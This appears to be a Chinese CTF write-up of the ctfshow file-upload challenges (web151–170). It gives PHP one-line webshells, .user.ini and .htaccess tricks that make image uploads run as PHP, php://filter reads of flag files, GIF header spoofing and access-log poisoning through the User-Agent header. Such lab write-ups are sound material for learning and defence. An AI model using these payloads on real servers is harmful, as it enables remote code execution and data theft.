当前位置: 首页 > news >正文

文件上传漏洞(ctfshow web151-161)

Web151

F12修改源代码 exts后面png改为php 这样就可以上传php的文件了

Web152:

考点:后端不能单一校验

就是要传图片格式,抓个包传个png的图片 然后bp抓包修改php后缀解析 然后放包 

Web153-web156

在php代码中可以使用“{}”代替“[]”

.user.ini文件特性

当网站进行扫描时,会将.user.ini文件指向路径的内容包含在首页文件处(如index.php、index.html等),使用参数auto_prepend_file(包含至首页文件头部)和auto_append_file(包含在首页文件尾部)进行配置

例如:auto_prepend_file=1.png //将1.png文件内容包含在首页文件中,“=”后紧跟需要包含文件路径

所以,本题的解题思路:

先将.user.ini文件上传至upload目录处,并且在其中写入auto_prepend_file=1.png,紧接着上传1.png格式一句话代码,最后访问payload即可

auto_prepend_file=1.png

上传图片马

访问index.php

ws=system("tac ../flag.php");

Web157-158

其余操作同上

图片上传内容

<?=system('tac ../fl*')?>

Web159

其余操作同上

反引号绕过

<?=`tac ../fl*`?>

Web160

auto_prepend_file=1.png

上传图片马

<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

再解码

Web161

文件头校验添加

.gif,”GIF 89A”

GIF89a

auto_prepend_file=1.png

上传图片马

GIF89a

<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

再解码

Web162-165

未完成

Web166

Bp抓包查看返回数据包msg

访问GET /upload/2.zip

抓包发现

if(res.code==0){

     $("#result").html("文件上传成功 <a href='upload/download.php?file="+res.msg+"' target='_blank'>下载文件</a>");

浏览器访问地址下载zi'p

Web167

上传.htaccess文件

<FilesMatch ".jpg">

  SetHandler application/x-httpd-php

</FilesMatch>

上传一句话木马

x=system('tac ../flag.php');

Web168

上传1.php    内容为:

<?php echo `cat /var/www/html/*`;?>

https://4d308ebe-1e2a-4163-a95a-14c57cb8cf7e.challenge.ctf.show/upload/1.php

Web169

Content-Disposition: form-data; name="file"; filename=".user.ini"

Content-Type: image/png

auto_prepend_file=/var/log/nginx/access.log

上传.user.ini修改

上传一个php文件随便都行

抓包ua头rce

<?=system('cat ../flagaa.php')?>

 Web170

Content-Disposition: form-data; name="file"; filename=".user.ini"

Content-Type: image/png

auto_prepend_file=/var/log/nginx/access.log

上传.user.ini修改

上传一个php文件随便都行

抓包ua头rce

<?=system('cat ../flagaa.php')?>

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 16现代循环神经网络—深度循环与双向循环
  • 52、PHP 实现选择排序
  • 点脂成金携手北京新颜兴医疗美容医院,共启战略合作新篇章
  • Android 10.0 Launcher 启动流程
  • 开源消息队列比较
  • 【前端 15】Vue生命周期
  • 数据库实验:SQL Server基本表单表查询
  • SpringBoot集成Sharding-JDBC实现分库分表
  • 【计算机网络】TCP协议详解
  • linux环境下重新编译opencv的安卓动态链接库opencv_java4.so文件
  • TransmittableThreadLocal跟InheritableThreadLocal使用
  • 搭建自己的金融数据源和量化分析平台(一):系统架构设计
  • 【初阶数据结构篇】顺序表的实现(赋源码)
  • Mysql中DML的几种操作
  • 【React】详解“最新”和“最热”切换与排序
  • [ 一起学React系列 -- 8 ] React中的文件上传
  • Babel配置的不完全指南
  • docker容器内的网络抓包
  • hadoop入门学习教程--DKHadoop完整安装步骤
  • idea + plantuml 画流程图
  • javascript 哈希表
  • JavaScript创建对象的四种方式
  • JavaScript学习总结——原型
  • Java新版本的开发已正式进入轨道,版本号18.3
  • Kibana配置logstash,报表一体化
  • MySQL几个简单SQL的优化
  • ViewService——一种保证客户端与服务端同步的方法
  • 后端_ThinkPHP5
  • 回顾 Swift 多平台移植进度 #2
  • 嵌入式文件系统
  • 为什么要用IPython/Jupyter?
  • 学习HTTP相关知识笔记
  • 小白应该如何快速入门阿里云服务器,新手使用ECS的方法 ...
  • ​​​​​​​STM32通过SPI硬件读写W25Q64
  • ​Spring Boot 分片上传文件
  • # Swust 12th acm 邀请赛# [ A ] A+B problem [题解]
  • # 达梦数据库知识点
  • # 飞书APP集成平台-数字化落地
  • #define MODIFY_REG(REG, CLEARMASK, SETMASK)
  • #if #elif #endif
  • #单片机(TB6600驱动42步进电机)
  • #数据结构 笔记三
  • (1/2)敏捷实践指南 Agile Practice Guide ([美] Project Management institute 著)
  • (14)Hive调优——合并小文件
  • (35)远程识别(又称无人机识别)(二)
  • (C语言)二分查找 超详细
  • (delphi11最新学习资料) Object Pascal 学习笔记---第7章第3节(封装和窗体)
  • (ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY)讲解
  • (void) (_x == _y)的作用
  • (超简单)构建高可用网络应用:使用Nginx进行负载均衡与健康检查
  • (初研) Sentence-embedding fine-tune notebook
  • (附源码)spring boot球鞋文化交流论坛 毕业设计 141436
  • (附源码)ssm学生管理系统 毕业设计 141543
  • (附源码)计算机毕业设计ssm-Java网名推荐系统
  • (南京观海微电子)——I3C协议介绍